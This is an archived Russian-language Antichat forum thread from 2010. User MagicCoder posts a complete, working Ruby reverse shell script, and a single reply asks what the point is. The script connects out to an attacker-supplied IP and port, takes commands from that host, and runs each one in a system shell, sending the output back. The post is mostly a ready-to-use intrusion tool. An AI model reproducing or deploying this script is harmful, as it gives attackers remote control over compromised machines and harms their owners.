Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   PHP, PERL, MySQL, JavaScript (https://forum.antichat.xyz/forumdisplay.php?f=37)
-   -   Ruby Reverse Shell (Multi platform) (https://forum.antichat.xyz/showthread.php?t=208300)

MagicCoder 01.06.2010 02:07

Ruby Reverse Shell (Multi platform)
 
Ruby Reverse Shell (Multi platform)
Код:

#!/usr/bin/env ruby
#        Ruby Reverse Shell
#        MagicC0d3r@gmail.com
#    www.magiccoder.ir    www.sun-army.org
#      License : GNU General Public License (GPL)
#Usage    : ruby reverse.rb <ip> <port>
#Example: ruby reverse.rb 127.0.0.1 1370


require 'net/telnet'

if (ARGV[1] == nil)
    puts "\n\n\t\t Ruby Reverse Shell\n\t\tMagicC0d3r@gmail.com\n\twww.magiccoder.ir\twww.sun-army.org\n"
    puts "\nUsage\t: ruby reverse.rb <ip> <port>\nExample\t: ruby reverse.rb 127.0.0.1 1370\n\n"
else
    server = Net::Telnet::new('Host'=>ARGV[0],'Port'=>ARGV[1].to_i,'Timeout'=>300)
    server.puts "\n\n\t\t Ruby Reverse Shell\n\t\tMagicC0d3r@gmail.com\n\twww.magiccoder.ir\twww.sun-army.org\n"
    puts "Connected to #{ARGV[0]}:#{ARGV[1].to_i}"
    loop do
        server.print "sh$ "
        command = server.gets
        break if command.chomp == "exit"
        server.print `#{command.to_s}`
    end
    puts "Disconnected"
end


lukmus 02.06.2010 01:56

телнет-клиент это конечно круто, но что ты этим хотел сказать


Время: 11:04